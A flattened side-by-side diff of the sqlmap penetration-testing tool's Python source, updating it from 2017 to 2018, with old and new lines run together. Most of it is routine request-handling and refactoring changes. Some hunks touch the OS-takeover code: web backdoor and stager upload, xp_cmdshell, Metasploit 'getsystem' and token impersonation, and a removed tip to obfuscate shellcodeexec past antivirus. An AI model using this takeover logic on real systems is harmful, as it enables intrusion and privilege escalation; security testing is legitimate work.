if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "large compressed response detected. Disabling compression" warnMsg = "large compressed response detected. Disabling compression"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
kb.pageCompress = False kb.pageCompress = False
raise SqlmapCompressionException
else: else:
while True: while True:
if not conn: if not conn:
@@ -346,7 +347,7 @@ class Connect(object):
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers # Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers: if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE] cookie = headers[HTTP_HEADER.COOKIE]
@@ -428,8 +429,10 @@ class Connect(object):
method = unicodeencode(method) method = unicodeencode(method)
req = MethodRequest(url, post, headers) req = MethodRequest(url, post, headers)
req.set_method(method) req.set_method(method)
else: elif url is not None:
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
else:
return None, None, None
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
@@ -479,8 +482,7 @@ class Connect(object):
# Get HTTP response # Get HTTP response
if hasattr(conn, "redurl"): if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode code = conn.redcode
else: else:
@@ -495,7 +497,7 @@ class Connect(object):
responseHeaders = {} responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg) if conn else None status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0 kb.connErrorCounter = 0
@@ -578,7 +580,7 @@ class Connect(object):
page = page if isinstance(page, unicode) else getUnicode(page) page = page if isinstance(page, unicode) else getUnicode(page)
code = ex.code code = ex.code
status = getUnicode(ex.msg) status = getSafeExString(ex)
kb.originalCode = kb.originalCode or code kb.originalCode = kb.originalCode or code
threadData.lastHTTPError = (threadData.lastRequestUID, code, status) threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
@@ -642,13 +644,6 @@ class Connect(object):
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
warnMsg = "connection was forcibly closed by the target URL" warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg: elif "timed out" in tbMsg:
if not conf.disablePrecon:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
kb.responseTimes.clear()
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
@@ -684,6 +679,9 @@ class Connect(object):
status = re.search(r"Handshake status ([\d]{3})", tbMsg) status = re.search(r"Handshake status ([\d]{3})", tbMsg)
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
elif "SqlmapCompressionException" in tbMsg:
warnMsg = "problems with response (de)compression"
retrying = True
else: else:
warnMsg = "unable to connect to the target URL" warnMsg = "unable to connect to the target URL"
@@ -719,7 +717,7 @@ class Connect(object):
else: else:
logger.debug(warnMsg) logger.debug(warnMsg)
return Connect._retryProxy(**kwargs) return Connect._retryProxy(**kwargs)
elif kb.testMode: elif kb.testMode or kb.multiThreadMode:
logger.critical(warnMsg) logger.critical(warnMsg)
return None, None, None return None, None, None
else: else:
@@ -766,7 +764,8 @@ class Connect(object):
return page, responseHeaders, code return page, responseHeaders, code
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): @stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
""" """
This method calls a function to get the target URL page content This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -813,7 +812,7 @@ class Connect(object):
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload: if payload:
if kb.tamperFunctions: if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions: for function in kb.tamperFunctions:
try: try:
payload = function(payload=payload, headers=auxHeaders) payload = function(payload=payload, headers=auxHeaders)
@@ -837,16 +836,10 @@ class Connect(object):
# with their HTML encoded counterparts # with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;") payload = payload.replace('>', "&gt;").replace('<', "&lt;")
elif kb.postHint == POST_HINT.JSON: elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'): payload = escapeJsonValue(payload)
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
elif kb.postHint == POST_HINT.JSON_LIKE: elif kb.postHint == POST_HINT.JSON_LIKE:
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
if payload.startswith('"') and payload.endswith('"'): payload = escapeJsonValue(payload)
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
else: else:
@@ -862,7 +855,9 @@ class Connect(object):
skip = True skip = True
if not skip: if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
postUrlEncode = False postUrlEncode = False
@@ -932,9 +927,9 @@ class Connect(object):
if value and place == PLACE.CUSTOM_HEADER: if value and place == PLACE.CUSTOM_HEADER:
if value.split(',')[0].capitalize() == PLACE.COOKIE: if value.split(',')[0].capitalize() == PLACE.COOKIE:
cookie = value.split(',', 1)[1] cookie = value.split(',', 1)[-1]
else: else:
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
if conf.csrfToken: if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue): def _adjustParameter(paramString, parameter, newValue):
@@ -981,7 +976,7 @@ class Connect(object):
if not conf.csrfUrl: if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing " errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'" errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException, errMsg raise SqlmapTokenException(errMsg)
if token: if token:
token = token.strip("'\"") token = token.strip("'\"")
@@ -1039,7 +1034,7 @@ class Connect(object):
name = safeVariableNaming(name) name = safeVariableNaming(name)
elif name in keywords: elif name in keywords:
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
variables[name] = value variables[name] = value
if cookie: if cookie:
@@ -1162,7 +1157,7 @@ class Connect(object):
if conf.tor: if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time" warnMsg += "time-based injections because of inherent high latency time"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
@@ -1261,7 +1256,11 @@ class Connect(object):
page = removeReflectiveValues(page, payload) page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
if message:
kb.permissionFlag = True
singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
if content or response: if content or response:
return page, headers, code return page, headers, code
@@ -1271,5 +1270,5 @@ class Connect(object):
else: else:
return comparison(page, headers, code, getRatioValue, pageLength) return comparison(page, headers, code, getRatioValue, pageLength)
def setHTTPHandlers(): # Cross-linked function def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
try: try:
sock = create_sock() sock = create_sock()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -33,6 +33,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CHARSET_TYPE from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
@@ -46,6 +47,7 @@ from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.request.direct import direct from lib.request.direct import direct
@@ -75,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
value = _goDns(payload, expression) value = _goDns(payload, expression)
if payload is None:
return None
if value is not None: if value is not None:
return value return value
@@ -174,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
# forge the SQL limiting the query output one entry at a time # forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table # NOTE: we assume that only queries that get data from a table
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond: if limitCond:
@@ -335,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
return output return output
@stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
@@ -471,6 +474,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# Dirty patch (safe-encoded unicode characters)
if isinstance(value, unicode) and "\\x" in value:
try:
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
if "\\x" not in candidate:
value = candidate
except:
pass
return extractExpectedValue(value, expected) return extractExpectedValue(value, expected)
def goStacked(expression, silent=False): def goStacked(expression, silent=False):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
urllib2.install_opener(opener) urllib2.install_opener(opener)
# create Request and set Range header # create Request and set Range header
req = urllib2.Request('http://www.python.org/') req = urllib2.Request('https://www.python.org/')
req.header['Range'] = 'bytes=30-50' req.header['Range'] = 'bytes=30-50'
f = urllib2.urlopen(req) f = urllib2.urlopen(req)
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
retVal = kb.pageTemplates[(payload, place)] retVal = kb.pageTemplates[(payload, place)]
return retVal return retVal

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
from lib.takeover.web import Web from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import XP_cmdshell from lib.takeover.xp_cmdshell import XP_cmdshell
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
""" """
This class defines an abstraction layer for OS takeover functionalities This class defines an abstraction layer for OS takeover functionalities

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -81,6 +81,7 @@ class Metasploit:
_ = normalizePath(os.path.join(_, "..")) _ = normalizePath(os.path.join(_, ".."))
if _ == old: if _ == old:
break break
self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode self._msfEncode = "ruby %s" % self._msfEncode
@@ -484,10 +485,13 @@ class Metasploit:
send_all(proc, "use espia\n") send_all(proc, "use espia\n")
send_all(proc, "use incognito\n") send_all(proc, "use incognito\n")
# This extension is loaded by default since Metasploit > 3.7
# This extension is loaded by default since Metasploit > 3.7:
# send_all(proc, "use priv\n") # send_all(proc, "use priv\n")
# This extension freezes the connection on 64-bit systems
# This extension freezes the connection on 64-bit systems:
# send_all(proc, "use sniffer\n") # send_all(proc, "use sniffer\n")
send_all(proc, "sysinfo\n") send_all(proc, "sysinfo\n")
send_all(proc, "getuid\n") send_all(proc, "getuid\n")
@@ -501,7 +505,7 @@ class Metasploit:
send_all(proc, "getsystem\n") send_all(proc, "getsystem\n")
infoMsg = "displaying the list of Access Tokens availables. " infoMsg = "displaying the list of available Access Tokens. "
infoMsg += "Choose which user you want to impersonate by " infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "using incognito's command 'impersonate_token' if "
infoMsg += "'getsystem' does not success to elevate privileges" infoMsg += "'getsystem' does not success to elevate privileges"
@@ -671,13 +675,10 @@ class Metasploit:
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
if written is not True: if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it " errMsg = "there has been a problem uploading shellcodeexec. It "
errMsg += "looks like the binary file has not been written " errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has " errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "flagged it as malicious and removed it"
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
logger.error(errMsg) logger.error(errMsg)
return False return False

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -47,11 +47,12 @@ from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset from thirdparty.oset.pyoset import oset
class Web: class Web:
""" """
This class defines web-oriented OS takeover functionalities for This class defines web-oriented OS takeover functionalities for
@@ -134,7 +135,7 @@ class Web:
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName) outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = "" query = ""
if isTechniqueAvailable(kb.technique): if isTechniqueAvailable(kb.technique):
@@ -257,6 +258,7 @@ class Web:
directories = list(oset(directories)) directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/' path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/': if path != '/':
_ = [] _ = []
for directory in directories: for directory in directories:
@@ -324,7 +326,7 @@ class Web:
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_) f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +371,7 @@ class Web:
continue continue
_ = "tmpe%s.exe" % randomStr(lowercase=True) _ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory self.webDirectory = backdoorDirectory

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
return wasLastResponseDelayed() return wasLastResponseDelayed()
@stackedmethod
def _xpCmdshellTest(self): def _xpCmdshellTest(self):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut) pushValue(threadData.disableStdOut)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
finalValue = None finalValue = None
retrievedLength = 0 retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset: if charsetType is None and conf.charset:
